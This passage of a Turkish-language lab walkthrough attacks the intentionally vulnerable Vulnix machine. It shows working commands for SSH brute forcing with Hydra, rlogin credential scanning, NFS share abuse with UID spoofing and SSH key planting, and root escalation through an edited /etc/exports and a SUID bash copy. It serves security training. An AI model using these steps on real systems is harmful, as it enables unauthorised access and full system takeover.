msf auxiliary(finger_users) > run

3. Sızma Denemesi

a. SSH

İlk giriş denemesi SSH servisine yönelik kaba kuvvet saldırısı ile gerçekleştirilebilir. BT5 üzerinde bu tür saldırılarda kullanılabilecek örnek bir sözlük /pentest/passwords/wordlists dizini altında bulunmaktadır. Bunun yerine kendi oluşturduğunuz bir sözlüğü kullanmanız da mümkündür.

Hydra aracı bu tür saldırılar için kullanılabilecek performanslı bir araçtır. Aşağıdaki şekilde Vulnix üzerinde uygulanabilir.
root@agguvenligi:~# cd /pentest/passwords/wordlists/
root@agguvenligi:/pentest/passwords/wordlists# hydra -L darkc0de.lst -P darkc0de.lst -S 192.168.1.101 ssh
Komut çalıştırıldıktan sonra bulunan kullanıcı adı ve parola bilgisi aşağıdaki gibi gözükmektedir.

Not: Backtrack üzerindeki "/pentest/passwords/wordlists/darkc0de.lst" dosyasında 1,7 milyondan fazla satır olduğundan "hydra" aracının kullanımı oldukça uzun sürebilmektedir.

b. RLOGIN

Vulnix üzerinde açık olduğunu belirlenen bir diğer serviste Rlogin (TCP/513) servisidir. Bu servis doğru kullanıcı adının bilinmesi halinde parolasız olarak sisteme erişim yetkisi veren tehlikeli olabilecek bir servistir. Bir önceki adımda elde edilen SSH bilgileri (kullanıcı adı: user, parolası: letmein) ile sisteme erişildiğinde user kullanıcısının sisteme Rlogin ile erişme hakkının olduğu görülebilir.


Bu servise yönelik sözlük saldırısı için Metasploit içerisindeki mevcut modüllerden biri olan auxiliary/scanner/rservices/rlogin_login modülü de kullanılabilir. Kullanımı şu şekildedir:
msf > use auxiliary/scanner/rservices/rlogin_login
msf auxiliary(rlogin_login) > set RHOSTS 192.168.1.101
msf auxiliary(rlogin_login) > run
Not: Bu modülün çalıştırılması sonucunda Vulnix üzerinde herhangi bir kimlik bilgisi tespit edilemeyecektir. Bu modül, "FROMUSER_FILE" olarak belirtilen dizindeki (/opt/metasploit-4.4.0/msf3/data/wordlists/rservices_from_users.txt) kimlik bilgilerini aramaktadır ve bu dosyada normalde 7 tane hesap adı bulunmaktadır.

Metasploit modülü ile de bulunan user kullanıcısının Vulnix sisteme rlogin yapabilmesi için PuTTY üzerinde aşağıdaki adımlar takip edilebilir.



Bu işlemlerden sonra bağlantı sağlanmaktadır.

c. NFS

Son giriş kapısı olarak NFS (Ağ Dosya Paylaşımı , TCP/2049) servisini inceleyeceğiz. İlk olarak Kali üzerinden hedef sistemin paylaşımda neler sunduğu sorgulanabilir. Bunun için aşağıdaki komut kullanılabilir.
root@agguvenligi:~# showmount -e 192.168.1.101

Bu çıktı, vulnix kullanıcısının ev dizininin paylaşıma açık olduğu anlamına gelmektedir. Paylaşıma açık bu dizini Kali üzerine bağlamak için aşağıdaki komut kullanılabilir.
root@agguvenligi:~# mkdir /mnt/nfs
root@agguvenligi:~# mount 192.168.1.101:/home/vulnix /mnt/nfs
Sonraki adımda bu dizine erişilmek istenildiğinde "Permission Denied" hatası alınacaktır. Bu hata paylaşılan dizini sunan kullanıcı ile aynı UID değerine sahip kullanıcının BT5 üzerinde bulunmamasından kaynaklanmaktadır.


Bu hatayı aşmak için görülen UID değerinde (2008) BT5 üzerinde yeni bir kullanıcı oluşturulmalıdır.
root@agguvenligi:~# useradd -m agguvenligi -u 2008
root@agguvenligi:~# su - agguvenligi

Bu aşamadan sonra ilgili klasöre erişilebildiği görülebilecektir.

Bağlanan dizin Vulnix kullanıcısının ev dizini olduğu için altında .ssh dizini oluşturarak BT5 üzerinde oluşturulacak public/private anahtar çiftinin bu dizine kopyalanması ile sonrasında parolasız olarak sisteme erişim sağlanabilir.

Bunun için öncelikle BT5 üzerinde anahtar çiftinin oluşturulması gerekir.

Aşağıdaki komut ile birlikte oluşturulan anahtar Vulnix makinesinin içerisine kopyalanır. ("/mnt/nfs" dizini, Vulnix sunucu üzerindeki "/home/vulnix" dizini olarak mount edilmişti.). Bunun için öncelikle mount dizinine ".ssh" adlı bir klasör oluşturulur. Sonrasında da kopyalama işlemi gerçekleştirilir.
agguvenligi@agguvenligi:/$ mkdir /mnt/nfs/.ssh
agguvenligi@agguvenligi:/$ cat .ssh/id_rsa.pub > /mnt/nfs/.ssh/authorized_keys


Anahtar kopyalandıktan sonra aşağıdaki gibi bir komutla sisteme anahtar dosyası ile parola bilmeksizin bağlanılabilir.
root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh//id_rsa vulnix@192.168.1.101

Bağlantının gerçekleştiği kullanıcıya ait hesabın ID değerinin 2008 olduğu görülmektedir.

4. Yetki Yükseltme

Hedef sisteme belirtilen hesap ile SSH erişimi sağladıktan sonraki hedef sistem üzerindeki yetki seviyesini artırmak ya da diğer tabiri ile root olmak olacaktır. Bunun için öncelikle eldeki hesabın neler yapabildiğinin belirlenmesi gerekmektedir. Bunun için sudo -l komutundan faydalanılabilir.


Komut çıktısına dair ekran görüntüsünde de görüldüğü gibi, vulnix kullanıcısının /etc/exports dosyasını root hakları ile parolasız olarak düzenleme hakkı vardır. Dosya içeriğine bakıldığında NFS paylaşımının root_squash opsiyonuyla yapıldığı yani NFS paylaşımına uzak makineden root hakları ile bağlanılsa dahi paylaşım üzerinde root gibi işlem yapılamayacağı görülmektedir.
Aşağıdaki komut ile ilgili dosyaya erişerek belirtilen bu opsiyonu etkisiz hale getirmek ve paylaşım üzerinde root haklarıyla işlem yapmak mümkün olmaktadır.
vulnix@vulnix:~$ sudoedit /etc/exports

Değiştirilen yapılandırmaların geçerli olması NFS servisi yeniden başlatılmalıdır. Vulnix hesabı sınırlı bir hesap olduğu için öncelikle paylaşım BT5 üzerinden umount edildikten sonra Vulnix sanal makinası yeniden başlatılmalıdır.
root@agguvenligi:~# umount /mnt/nfs

Sunucu tekrar başladıktan sonra BT5 üzerinden NFS paylaşımına tekrar erişim sağlanır. Dizin içeriği listelenmeye çalışıldığında eskisinin aksine artık sorunsuz bir şekilde dizin içinde dosyaların listelendiği görülmektedir.

Sistem üzerinden shell almak için BT5 üzerinden bash çalıştırılabilir dosyası hakları 4777 olacak şekilde hedefe kopyalanır. Burada dosyaya herkes tarafında yazma-okuma-çalıştırma hakları verilmiş olup ayrıca çalıştırana dosya sahibinin haklarıyla işlem yapmasını sağlayacak şekilde (örneğimizde root) SUID biti etkin duruma getirilmiştir. Bunun için aşağıdaki komutlar kullanılabilir.
root@agguvenligi:/mnt/nfs# cp /bin/bash .
root@agguvenligi:/mnt/nfs# chmod 4777 bash

Son adımda daha öncede yapıldığı gibi vulnix kullanıcısı ile hedef sisteme SSH bağlantısı kurulmalıdır. Sonrasında hedefe kopyalamış olduğumuz bash kabuğu çalıştırılarak root kullanıcısının ev dizininde yer alan bayrak dosyası trophy.txt ve içeriğine erişim sağlanabildiği görülebilir.
Vulnix makinesi 32bit işletim sistemine sahip olduğu için üzerine kopyalanan bash dosyası da 32bit olmalıdır. Aksi halde "-bash: ./bash: cannot execute binary file" şeklinde bir hata ile karşılaşılacaktır:
root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh/id_rsa vulnix@192.168.1.101
vulnix@vulnix:~$ ./bash -p
bash-4.2# id
bash-4.2# cat /root/trophy.txt


Kaynak:
http://www.agguvenligi.net/2013/08/vulnix-tutorial-I.html
http://www.agguvenligi.net/2013/08/vulnix-tutorial-II.html
http://www.agguvenligi.net/2013/08/vulnix-tutorial-III.html